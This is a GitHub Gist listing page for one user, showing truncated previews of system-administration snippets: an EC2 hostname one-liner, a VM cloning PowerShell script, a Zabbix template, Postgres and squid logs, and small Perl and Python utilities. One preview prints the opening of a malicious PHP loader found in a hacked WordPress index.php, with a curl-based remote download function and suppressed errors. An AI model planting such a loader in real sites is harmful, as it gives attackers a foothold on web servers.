Skip to content

Instantly share code, notes, and snippets.

@evandhoffman
evandhoffman / EWWWW.txt
Last active August 29, 2015 13:57
Awful one-liner
root@ip-10-14-10-142:~# export INSTANCE_ID=`ec2metadata --instance-id`
root@ip-10-14-10-142:~# HOSTNAME=`aws ec2 describe-tags --region us-east-1 --filter "Name=resource-id,Values=$INSTANCE_ID" 'Name=key,Values=Name' | perl -ne 'chomp; my @a = split(/[ ]+/); next unless $a[1] eq "\"Value\":"; $a[2] =~ s/\"([\d\w\.\-]+)\".+/$1/; print "$a[2]\n"'`
root@ip-10-14-10-142:~# hostname $HOSTNAME
root@ip-10-14-10-142:~# echo $HOSTNAME
www.example.com
root@ip-10-14-10-142:~# echo $HOSTNAME > /etc/hostname
@evandhoffman
evandhoffman / Payload.php
Last active August 29, 2015 13:57
Owned wordpress index.php
$ php crap.php
<?php
if (!defined('frmDs')){
define('frmDs' ,1);
error_reporting(0);
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
@evandhoffman
evandhoffman / clone-vms.ps1
Created November 15, 2013 18:40
Powershell script to clone VMs
$template = "qa3-template"
$datastore = "NAS1"
$vmNamePrefix = "qa3-filler"
$vmhost = Get-VMHost -Name "prod-vm202.prod.host.com"
$vmpool = "QA3 RP"
$location = "Junk Boxes"
$taskTab = @{}
# Create all the VMs specified in $newVmList
for ($i = 2; $i -lt 10; $i++) {
$vmname = $($vmNamePrefix + $i);
@evandhoffman
evandhoffman / zabbix_io_template.xml
Created May 16, 2013 13:48
Zabbix template for getting disk IO from SNMP via low-level discovery.
<?xml version="1.0" encoding="UTF-8"?>
<zabbix_export>
<version>2.0</version>
<date>2013-05-16T13:46:38Z</date>
<groups>
<group>
<name>Templates</name>
</group>
</groups>
@evandhoffman
evandhoffman / gist:5223860
Created March 22, 2013 19:04
xlog min recovery request is past current point
2013-03-22 14:56:52 EDT 17889 0 1/1 WARNING: xlog min recovery request D6D/2A61C1B0 is past current point D63/2BF6C10
2013-03-22 14:56:52 EDT 17889 0 1/1 CONTEXT: writing block 6 of relation base/16898/5389031_vm
xlog redo vacuum: rel 1663/16898/7237776; blk 103357, lastBlockVacuumed 30068
2013-03-22 14:56:52 EDT 17889 0 1/1 WARNING: xlog min recovery request D68/248B82D8 is past current point D63/2BF6C10
2013-03-22 14:56:52 EDT 17889 0 1/1 CONTEXT: writing block 0 of relation base/16898/4876829_vm
xlog redo vacuum: rel 1663/16898/7237776; blk 103357, lastBlockVacuumed 30068
2013-03-22 14:56:53 EDT 17895 0 WARNING: xlog min recovery request D67/2AAE9D40 is past current point D63/2BF6C10
2013-03-22 14:56:53 EDT 17895 0 CONTEXT: writing block 0 of relation base/16898/5484157_vm
2013-03-22 14:56:55 EDT 17895 0 WARNING: xlog min recovery request D6D/33FC44E0 is past current point D63/2BF6C10
2013-03-22 14:56:55 EDT 17895 0 CONTEXT: writing block 5 of relation base/16898
@evandhoffman
evandhoffman / gist:4757843
Created February 11, 2013 21:37
Packages installed during ubuntu 12.10 Quetzal net install (from squid log).
http://changelogs.ubuntu.com/meta-release
httplib2_0.7.4-2_all.deb
https_0.9.7.5ubuntu5.2_amd64.deb
http://security.ubuntu.com/ubuntu/dists/quantal-security/InRelease
http://security.ubuntu.com/ubuntu/dists/quantal-security/main/binary-amd64/Packages.bz2
http://security.ubuntu.com/ubuntu/dists/quantal-security/main/binary-i386/Packages.bz2
http://security.ubuntu.com/ubuntu/dists/quantal-security/main/debian-installer/binary-amd64/Packages.gz
http://security.ubuntu.com/ubuntu/dists/quantal-security/main/i18n/Translation-en.bz2
http://security.ubuntu.com/ubuntu/dists/quantal-security/main/i18n/Translation-en_US
http://security.ubuntu.com/ubuntu/dists/quantal-security/main/i18n/Translation-en_US.bz2
@evandhoffman
evandhoffman / fizzbuzz.pl
Created January 10, 2013 16:22
This is a challenge?
#!/usr/bin/perl
for (my $i = 1; $i <= 100 ; $i++) {
my $out = '';
if (($i % 3) == 0) {
$out .= 'Fizz';
}
if (($i % 5) == 0) {
$out .= 'Buzz';
}
evan@evan-desktop: ~ $ git clone evan@10.3.0.77:/home/evan/gitrepo clonedrepo2
Cloning into clonedrepo2...
evan@10.3.0.77's password:
remote: Counting objects: 3, done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), done.
evan@evan-desktop: ~ $ cd clonedrepo2/
evan@evan-desktop: ~/clonedrepo2 $ ls
poop
evan@evan-desktop: ~/clonedrepo2 $ echo poop2 > poop2
@evandhoffman
evandhoffman / copy-mp3.pl
Created June 16, 2012 18:45
Reorganize MP3s according to id3 tag info
#!/usr/bin/perl
#
use strict;
use warnings;
#use MP3::M3U::Parser;
use MP3::Tag;
use Data::Dumper;
use File::Copy;
@evandhoffman
evandhoffman / getHosts.py
Created April 27, 2012 16:14
Zenoss - print out hostnames & IP addresses
def getDeviceProps(device, propNames):
res = ''
for i in propNames:
res += str(getattr(device, i)) + "\t"
return res
res = ''
#propNames = ('id', 'snmpindex', 'monitor', 'manageIp', 'productionState','preMWProductionState','snmpAgent','snmpDescr','snmpOid','snmpContact','snmpSysName','snmpLocation','snmpLastCollection','snmpAgent','rackSlot','comments','sysedgeLicenseMode','priority','zDeviceTemplates')
propNames = ('id','manageIp')